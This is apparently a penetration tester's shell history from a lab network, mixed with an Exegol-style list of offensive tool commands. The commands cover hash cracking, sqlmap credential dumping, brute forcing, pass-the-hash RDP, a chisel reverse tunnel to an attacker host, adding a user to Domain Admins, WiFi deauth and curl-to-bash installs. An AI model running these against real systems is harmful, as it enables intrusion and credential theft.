sudo usermod -aG docker $USER
wget https://desktop.docker.com/linux/main/amd64/docker-desktop-*-amd64.deb
cd Downloads
sudo apt install ./docker-desktop-amd64.deb
docker
docker-desktop
bash <(curl -s https://docs.sysreptor.com/install.sh)
curl -fsSL https://get.docker.com | sudo bash"
curl -fsSL "https://get.docker.com | sudo bash"
curl -fsSL https://get.docker.com | sudo bash
sudo apt remove docker
sudo apt remove docker.io
curl -fsSL https://get.docker.com | sudo bash
exit


_raw: : 1761376022:0;go install github.com/Brosck/mantra@latest


_raw: : 1761376013:0;./hashcat.bin  -a 0 -m 31300 /home/pentester/hashestime.txt /usr/share/wordlists/rockyou.txt


_raw: : 1761375995:0;./hashcat.bin  -a 0 -m 31300 ~/hashestime.txt /usr/share/wordlists/rockyou.txt


_raw: : 1761375962:0;./hashcat.bin  -a 0 -m 31300 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1761375913:0;sqlmap --url="10.0.1.11" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs


_raw: : 1761375898:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlist.txt


_raw: : 1761375885:0;sqlmap --url="10.0.1.11" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs


_raw: : 1761375878:0;cat timeroast.txt | awk '{print $5}' > hashestime.txt


_raw: : 1761375869:0;cat timeroast.txt | awk '{print $5}'


_raw: : 1761375853:0;cat timeroast.txt | awk -h


_raw: : 1761375839:0;cat timeroast.txt | awk '(print $5)'


_raw: : 1761375749:0;go install github.com/ffuf/ffuf/v2@latest


_raw: : 1761375744:0;o install github.com/ffuf/ffuf/v2@latest


_raw: : 1761375684:0;go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest


_raw: : 1761375546:0;cp ~/go/bin/nuclei /usr/local/bin


_raw:
rtl_433 -f 868M -s 1024k
rtl_433 -M hires -M level
rtl_433 -R 1 -R 8 -R 43
nrf24-scanner.py -l -v
jackit --reset --debug
wireshark
tshark -i eth0 -w capture.pcap
tshark -r capture.pcap
hping3 $TARGET
masscan -v -p 1-65535 --rate=10000 -e "$INTERFACE" 192.168.56.0/24
masscan -v -p 1-65535,U:1-65535 --rate=10000 -e "$INTERFACE" 192.168.56.0/24
netdiscover -p
netdiscover -i "$INTERFACE" -r 192.168.1.0/24
tcpdump -i eth0 -w capture.pcap
iptables -L
traceroute $TARGET
rdesktop -u $USER -p $PASSWORD -d $DOMAIN
hydra -l $USER -P passwords.txt -s $PORT -f $TARGET http-get /admin
xfreerdp /d:"$DOMAIN" /u:"$USER" /pth:"$NT_HASH" /v:"$TARGET" /cert-ignore
xfreerdp /d:"$DOMAIN" /u:"$USER" /pth:"$NT_HASH" /v:"$TARGET" /cert-ignore /drive:"${SHARENAME},${LOCALPATH}"
xfreerdp /d:"$DOMAIN" /u:"$USER" /p:"$PASSWORD" /v:"$TARGET" /cert-ignore
xfreerdp /d:"$DOMAIN" /u:"$USER" /p:"$PASSWORD" /v:"$TARGET" /cert-ignore /drive:"${SHARENAME},${LOCALPATH}"
proxychains -q
proxychains -f config.conf
nmap --script 'smb-enum*' --script-args unsafe=1 -T5 "$TARGET"
nmap --script broadcast-dhcp-discover
nmap --script dns-srv-enum --script-args dns-srv-enum.domain="$DOMAIN"
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews/ -p 443 mx.example.com
nmap --script smb-enum-shares -p 139,445 -T4 -Pn "$TARGET"
nmap --script=ldap-search -p 389 "$TARGET"
nmap -Pn -v -sS -F "$TARGET"
nmap -p 5900 --script=realvnc-auth-bypass "$TARGET"
nmap -sC -sV -p 139,445,80,21 "$TARGET"
nmap -sS -n --open -p 88 "$TARGET"
nmap -sS -p 3268,3269 "$TARGET"
nmap -sU --min-rate 5000 -p- $TARGET
nmap-parse-output /path/to/nmap.xml all-hosts
nmap-parse-output /path/to/nmap.xml banner $service_name
nmap-parse-output /path/to/nmap.xml blocked-ports
nmap-parse-output /path/to/nmap.xml group-by-ports
nmap-parse-output /path/to/nmap.xml group-by-product
nmap-parse-output /path/to/nmap.xml group-by-service
nmap-parse-output /path/to/nmap.xml host-ports-protocol
nmap-parse-output /path/to/nmap.xml host-ports
nmap-parse-output /path/to/nmap.xml hosts-to-port $port
nmap-parse-output /path/to/nmap.xml hosts
nmap-parse-output /path/to/nmap.xml http-info
nmap-parse-output /path/to/nmap.xml http-ports
nmap-parse-output /path/to/nmap.xml http-title
nmap-parse-output /path/to/nmap.xml nmap-cmdline
nmap-parse-output /path/to/nmap.xml port-info $port
nmap-parse-output /path/to/nmap.xml ports-reachable
nmap-parse-output /path/to/nmap.xml ports
nmap-parse-output /path/to/nmap.xml product
nmap-parse-output /path/to/nmap.xml search-product
nmap-parse-output /path/to/nmap.xml service-names
nmap-parse-output /path/to/nmap.xml service $service_name
nmap-parse-output /path/to/nmap.xml show-comments
nmap-parse-output /path/to/nmap.xml ssl-common-name
nmap-parse-output /path/to/nmap.xml tls-ports
nmap-parse-output /path/to/nmap.xml comment-hosts $hosts $comment
nmap-parse-output /path/to/nmap.xml comment-ports $ports $comment
nmap-parse-output /path/to/nmap.xml exclude-ports $ports
nmap-parse-output /path/to/nmap.xml exclude $hosts
nmap-parse-output /path/to/nmap.xml include-ports $ports
nmap-parse-output /path/to/nmap.xml include $hosts
nmap-parse-output /path/to/nmap.xml mark-ports $ports $color
nmap-parse-output /path/to/nmap.xml reachable
nmap-parse-output /path/to/nmap.xml html-bootstrap
nmap-parse-output /path/to/nmap.xml html
nmap-parse-output /path/to/nmap.xml to-json
autorecon "$TARGET"
dnschef.py --fakeip 127.0.0.1 -q
das add -db dbname masscan '-e "$INTERFACE" --rate 1000 -iL hosts.txt --open -p1-65535'
das add -db dbname rustscan '-b 1000 -t 2000 -u 5000 -a hosts.txt -r 1-65535 -g --no-config --scan-order "Random"'
das scan -db dbname -hosts all -oA report1 -nmap '-Pn -sVC -O' -parallel
das scan -db dbname -ports 22,80,443,445 -show
das report -hosts 192.168.1.0/24 -oA report2
chisel server -p $PORT --socks5 --reverse
chisel client $ATTACKER-IP:$ATTACKER-PORT R:$PORT:socks
sshuttle -r $USER@$TARGET 0.0.0.0/24
eaphammer -i eth0 --channel 4 --auth wpa-eap --essid $ESSID --creds
fierce --domain "$DOMAIN" --dns-servers "$TARGET"
echo 173.0.84.0/24 | dnsx -silent -resp-only -ptr
dnsx -silent -d "$DOMAIN" -w dns_worldlist.txt
dnsx -silent -d domains.txt -w jira,grafana,jenkins
cat domains.txt | dnsx -silent -w jira,grafana,jenkins -d -
shuffledns -d "$DOMAIN" -list example-subdomains.txt -r resolvers.txt
subfinder -d "$DOMAIN" | shuffledns -d "$DOMAIN" -r resolvers.txt
shuffledns -d "$DOMAIN" -w wordlist.txt -r resolvers.txt
echo "$DOMAIN" | shuffledns -w wordlist.txt -r resolvers.txt
tailscale up --advertise-routes=10.10.11.0/24
tailscaled --tun=userspace-networking --socks5-server=localhost:1055 &>/dev/null &
ligolo-ng -selfcert
ip tuntap add user root mode tun ligolo
ip link set ligolo up
ip route add 192.168.0.0/24 dev ligolo
rustscan --addresses "$TARGET" --scripts custom --ulimit 5000
rustscan --addresses "$TARGET" --greppable
rustscan --addresses "$TARGET" --ports 80,443,8080
rustscan --addresses "$TARGET" --top
legba http.basic --username admin --password `fzf-wordlists` --target http://"$TARGET":"$PORT"
legba http --username "$USER" --password `fzf-wordlists` --target http://"$TARGET" --http-method POST --http-success-codes 302 --http-payload 'log={USERNAME}&pwd={PASSWORD}'
legba ssh --username "$USER" --password `fzf-wordlists` --target "$TARGET":22
legba imap --username "$USER" --password `fzf-wordlists` --target "$TARGET":993
legba ftp --username "$USER" --password `fzf-wordlists` --target "$TARGET":21
ssh-audit $TARGET
ssh-audit -T servers.txt
ssh-audit -L
airmon-ng start wlan1
airodump-ng wlan1
airodump-ng -c 1 wlan1
aireplay-ng --deauth 10 -a TR:GT:AP:BS:SS:ID wlan1
reaver -i eth0 -b $MAC
bully wlan1mon -b $MAC -c 9 -S -F -B -v 3
cowpatty -f wordlist.txt -r crackme.cap -s Mandela2
pyrit -r capture.pcap -b $BSSID -i wordlist.txt attack_passthrough
pyrit -i wordlist.txt import_passwords
pyrit -e $ESSID create_essid
pyrit batch
pyrit -r capture.pcap attack_db
Wifite.py --kill
Wifite.py --dict passwords.txt
bettercap -iface eth0
hcxpcapngtool -o dump.hashcat dump.pcapng
hcxhashtool -i dump.hashcat --info stdout
hcxpcapngtool --all -o dump.hashcat dump.pcapng
hcxdumptool -I
hcxdumptool -i wlan1 -o dump.pcapng --active_beacon --enable_status=1
foremost -i image.png
testdisk image.dd
fdisk image.dd
fdisk -l
binwalk -e image.png
volatility2 --profile=Win7SP1x86_23418 netscan -f file.dmp
volatility2 --profile=SomeLinux -f file.dmp linux_netstat
volatility3 -f memory.dmp windows.info
volatility3 -f memory.dmp windows.pslist
volatility3 -f memory.dmp windows.psscan
volatility3 -f memory.dmp windows.pstree
volatility3 -f memory.dmp windows.handles --pid $PID
volatility3 -f memory.dmp windows.dlllist --pid $PID
volatility3 -f memory.dmp windows.cmdline
volatility3 -f memory.dmp windows.netscan
volatility3 -f memory.dmp windows.netstat
volatility3 -f memory.dmp windows.registry.hivescan
volatility3 -f memory.dmp windows.registry.hivelist
volatility3 -f memory.dmp windows.registry.printkey
volatility3 -f memory.dmp windows.registry.printkey  \xB1 \xB1key "Software\Microsoft\Windows\CurrentVersion"
volatility3 -f memory.dmp windows.filescan
volatility3 -f memory.dmp windows.malfind
trid
peepdf.py -i file.pdf
jadx-gui ./source/
jadx -d ./output/ exegol.apk
chainsaw hunt -r rules/ evtx_attack_samples -s sigma/rules --mapping mappings/sigma-event-logs-all.yml --level critical
kubectl
aws configure --profile exegol
aws s3 ls s3://mybucket
aws s3 iam list-users
aws s3 iam get-user --user-name $USER
scout aws --profile default -f
scout azure --cli
cloudsplaining download
cloudsplaining download --profile someprofile
cloudsplaining scan --input-file default.json
cloudsplaining scan --input-file default.json --exclusions-file exclusions.yml
cloudsplaining scan-policy-file --input-file examples/policies/wildcards.json
cloudsplaining scan-policy-file --input-file examples/policies/wildcards.json  --exclusions-file examples/example-exclusions.yml
cloudsplaining create-multi-account-config-file -o accounts.yml
cloudsplaining scan-multi-account -c accounts.yml -r TargetRole --output-directory ./
prowler aws --checks s3_bucket_public_access
prowler aws --services s3 ec2
prowler aws --profile custom-profile -f us-east-1 eu-south-2
prowler azure --sp-env-auth
prowler azure --az-cli-auth
prowler azure --browser-auth
prowler azure --managed-identity-auth
prowler gcp --credentials-file path
cloudmapper.py configure add-account --config-file config.json --name parent --id XXX --default true
cloudmapper.py configure discover-organization-accounts
cloudmapper.py collect --account parent --profile parent
cloudmapper.py report --account parent
cloudmapper.py webserver
az storage -h
az vm create -h
az vm show -g WebPropertiesRG -n Bizlogic
stegosuite
steghide extract -sf image.png
exif image.jpg
exiv2 image.png
hexedit image.png
zsteg -a image.png
stegolsb -v extract image.png --column-step 2 --rows 1 --columns 128
nasm -felf64 -o <object> <filename>
strace -p $PID
gdb binary.bin
checksec.py binary.bin
radare2 binary.bin
ghidra
ida
jd-gui
pwninit
RsaCtfTool.py --publickey $PUBLIC_KEY --uncipherfile ./ciphered\_file
RsaCtfTool.py --publickey $PUBLIC_KEY --private
RsaCtfTool.py --createpub -n 7828374823761928712873129873981723...12837182 -e 65537
RsaCtfTool.py --dumpkey --key $PUBLIC_KEY
RsaCtfTool.py --key examples/conspicuous.priv --isconspicuous
RsaCtfTool.py --publickey $PUBLIC_KEY --ecmdigits 25 --verbose --private
RsaCtfTool.py --attack partial_q --key $PEM_KEY
RsaCtfTool.py --attack partial_d --key $PEM_KEY
RsaCtfTool.py --convert_idrsa_pub --publickey $HOME/.ssh/id_rsa.pub
RsaCtfTool.py --isroca --publickey $PUBLIC_KEY
tls-map search gnutls RSA_ARCFOUR_128_SHA1 --output iana
tls-map search openssl AES128-SHA --output iana
tls-map search iana TLS_DH_RSA_WITH_AES_256_CBC_SHA --output codepoint
tls-map search codepoint 1303
tls-map search nss TLS_AES_256_GCM_SHA384
tls-map search --extended codepoint 0037
tls-map search --extended codepoint 0013 --acronym
tls-map export /tmp/map.min.json json_compact
tls-map extract newwebsite.json ssllabs-scan
tls-map extract test/file_sample/testssl.json testssl --hide-weak
tls-map extract test/file_sample/sslyze.json sslyze --only-weak
rsacracker --key public.pem -c 0xdeadbeef
rsacracker -c 0xdeadbeef -n 323 -e 65537
rsacracker -c 0xdeadbeef -n 323 -e 65537 --phi 123 --dp 123 --dq 123 --qinv 123 --pinv 123
rsacracker --key public.pem -f secret.txt.enc
rsacracker --key public.pem --private
rsacracker --key private.pem --password R54Cr4ck3R --private
rsacracker -n 323 --factors
brakeman /path/to/rails/application
semgrep -e '$X == $X' --lang=py path/to/src
dig axfr "$DOMAIN" @"$TARGET"
nslookup -type=srv _gc._tcp."$DOMAIN"
nslookup -type=srv _kerberos._tcp."$DOMAIN"
nslookup -type=srv _kpasswd._tcp."$DOMAIN"
nslookup -type=srv _ldap._tcp."$DOMAIN"
nslookup -type=srv _ldap._tcp.dc._msdcs."$DOMAIN"
nslookup -type=srv _ldap._tcp.dc._msdcs."$DOMAIN"
net rpc password 'targetuser' 'somenewpassword123' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc user add 'targetuser' "$PASSWORD" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc group members 'Domain admins' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc group addmem 'Domain admins' 'attacker_user' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
nmblookup -A "$TARGET"
ssh-keygen -t rsa -b 4096 -f keyname
snmpwalk -c public -v 1 "$TARGET"
snmpwalk -c public -v 2c "$TARGET"


_raw:
curl -s https://raw.githubusercontent.com/Jeremiznoo/Updated_Exegol_Zsh_History/refs/heads/main/.zsh_history_for_kali >> ~/.zsh_history
sudo apt install -y seclists
sudo apt install -y fuff
sudo apt install -y ffuf
sudo apt install -y gobuster
sudo apt install -y hashcat
sudo apt install -y dirsearch
sudo curl -s https://raw.githubusercontent.com/Jeremiznoo/Updated_Exegol_Zsh_History/refs/heads/main/.zsh_history_for_kali >> ~/.zsh_history
curl https://i.jpillora.com/chisel! | bash
ifconfig
sudo vim /etc/hosts
sudo curl -s https://raw.githubusercontent.com/Jeremiznoo/Updated_Exegol_Zsh_History/refs/heads/main/.zsh_history_for_kali >> ~/.zsh_history
exit


_raw: : 1761375342:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw:
clear
cler
clear
ls
cat password.txt
clear
ls
clar
clear
cd Desktop/ls
cd Desktop/
clear
smbclient -U hamza //10.0.254.202/ourshare
clar
ls
clear
cat nmap.out_80_443_8080_445.out
exit


_raw: : 1761375222:0;git clone https://github.com/projectdiscovery/nuclei


_raw: : 1761375154:0;nxc smb 10.0.1.0/24 --generate-hosts-file hosts.txt


_raw: : 1761375083:0;ldapsearch -x -H ldap://10.0.1.6 -s base -b "" namingContexts supportedSASLMechanisms\


_raw: : 1761375056:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(sAMAccountName=*)" sAMAccountName cn\


_raw:
ls -la
cat password.txt
cd >thinclient_drives
cd thinclient_drives
ls -l
cd ..
ls
ipconfig
ifconfig
ping 10.0.254.202


_raw: : 1761374927:0;pipx install git+https://github.com/Pennyw0rth/NetExec.git --force


_raw: : 1761374919:0;pipx install git+https://github.com/Pennyw0rth/NetExec.git


_raw: : 1761374893:0;dig @10.0.1.6 allports.local axfr +noall +answer\


_raw: : 1761374875:0;ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)" sAMAccountName cn | tee ldap_users.txt\


_raw: : 1761374837:0;ldapsearch -x -h 10.0.1.6 -s base -b "" namingContexts supportedSASLMechanisms


_raw:
fping
tldr
clear
tldr fping
tldr --update
tldr fping
fping -a 10.0.1.0/24
ip add
fping -a -g 10.0.1.0/24


_raw:
: 1761374751:0;crackmapexec smb 10.0.1.6 -u '' -p '' --shares\
crackmapexec smb 10.0.1.6 -u '' -p '' --users\
crackmapexec smb 10.0.1.6 -u '' -p '' --groups\


_raw: : 1761374714:0;nmap 10.0.1.0/24 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips


_raw:
: 1761374697:0;ldapsearch -x -h 10.0.1.6 -s base -b "" namingContexts supportedSASLMechanisms\
\
# once you get namingContexts (e.g. dc=allports,dc=local) run:\
ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)" sAMAccountName cn | tee ldap_users.txt\


_raw:
: 1761374650:0;crackmapexec smb 10.0.1.6 -u '' -p '' --shares\
crackmapexec smb 10.0.1.6 -u '' -p '' --users\
crackmapexec smb 10.0.1.6 -u '' -p '' --groups\


_raw:
: 1761374649:0;sudo apt install pipx git\
pipx ensurepath\
pipx install git+https://github.com/Pennyw0rth/NetExec


_raw: : 1761374567:0;cat  /home/pentester/password.txt


_raw: : 1761374502:0;apt install python-is-python3


_raw: : 1761374434:0;dig @10.0.1.6 allports.local axfr +noall +answer\